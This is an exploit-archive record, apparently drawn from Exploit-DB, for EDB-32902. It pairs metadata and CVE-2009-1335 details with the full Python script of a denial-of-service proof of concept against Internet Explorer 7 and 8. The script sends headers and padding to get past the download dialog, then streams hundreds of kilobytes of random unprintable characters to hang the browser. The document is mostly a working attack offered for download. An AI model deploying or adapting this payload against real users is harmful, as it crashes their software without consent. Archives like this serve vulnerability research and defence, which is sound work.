{"exploit":{"id":"EDB-32902","name":"Microsoft Internet Explorer 8 - File Download Denial of Service (DoS)","description":"Microsoft Internet Explorer 8 - File Download Denial of Service (DoS)","cves":["CVE-2009-1335"],"author":"Nam Nguyen","published":"2009-04-11","platform":"windows","type":"dos","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/32902","path":"exploits/windows/dos/32902.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-32902.py","vulnerabilities":[{"id":"CVE-2009-1335","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft Internet Explorer 7 and 8 on Windows XP and Vista allows remote attackers to cause a denial of service (application hang) via a large document composed of unprintable characters, aka MSRC 9011jr.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-1335","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-1335"},"updatedAt":"2024-08-07T05:13:25.139Z","retrievedAt":"2026-11-26T19:11:29.309Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-32902.png?v=2","url":"https://exploitbin.com/exploits/EDB-32902","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-32902/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-32902/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# source: https://web.archive.org/web/2009/https://www.securityfocus.com/bid/34478/info\n\n# Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.\n\n# Successful exploits can allow attackers to hang the affected browser, resulting in denial-of-service conditions.\n\n\n#/usr/bin/env python\nimport sys\nimport random\n\nCHAR_SET = [chr(x) for x in range(0x20)]\nCHAR_SET += [chr(x) for x in range(128, 256)]\n\ndef send_file():\n      l = 800000 + 4096\n      print \"Content-Type: text/plain\"\n      print \"Content-Length: %d\" % l\n      print \"Cache-Control: no-cache, no-store, must-revalidate\"\n      # this is not standardized, but use it anyway\n      print \"Pragma: no-cache\"\n      print \"\"\n      # bypass IE download dialog\n      sys.stdout.write(\"a\" * 4096)\n      # print junks\n      for i in xrange(l):\n              sys.stdout.write(random.choice(CHAR_SET))\n      sys.exit()\n\nsend_file()","sha256":"51062ab2787550aae84f82534bc20013f569309de46d0dc66f68ed5e271824da","bytes":906,"fetchedAt":"2026-11-26T19:11:21.801Z","encoding":"utf-8 (display only; download retains original bytes)"}